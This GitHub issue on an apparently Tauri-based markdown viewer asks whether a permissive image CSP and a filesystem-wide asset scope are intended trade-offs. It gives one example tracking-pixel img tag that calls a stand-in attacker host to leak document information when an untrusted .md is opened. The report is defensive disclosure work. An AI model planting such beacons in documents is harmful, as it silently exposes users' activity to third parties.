Skip to content

Opening an untrusted .md can phone home: CSP img-src allows https:, and asset scope is the whole filesystem #394

Description

@PathGao

Two settings in tauri.conf.json that widen what a document can do. Both are deliberate-looking trade-offs, so I'd rather ask than change them.

img-src ... https:

comrak runs with unsafe_ = true, so raw HTML in a document reaches the preview. With https: in img-src, opening a .md from anywhere silently contacts a third party:

<img src="https://attacker.example/pixel?doc=notes" width="1" height="1">

No prompt, no setting, no indication. connect-src 'self' already blocks fetch/XHR, so this is the remaining outbound channel.

Narrowing to 'self' asset: http://asset.localhost blob: data: closes it, but breaks documents that legitimately reference remote images — a real regression for anyone whose notes link to images on the web. The alternative is an explicit "load external images" toggle, which is more work but keeps the feature.

assetProtocol.scope: ["**"]

The webview can read any file through asset://. The static scope has to be wide because a markdown file may reference an image anywhere on disk, and none of Tauri's runtime narrowing APIs are used (asset_protocol_scope, allow_directory, allow_file — zero occurrences).

A narrower policy is imaginable — allow the open document's directory tree, extend on demand — but it is a design, not a patch, and it can break existing documents.

I'm not proposing a change; I'd like to know whether these are settled trade-offs so they can be recorded as such, or whether you'd like either tightened.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    awaiting decisionNeeds a product-direction call from the maintainer before work can startquestionA usage question, not a defect

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions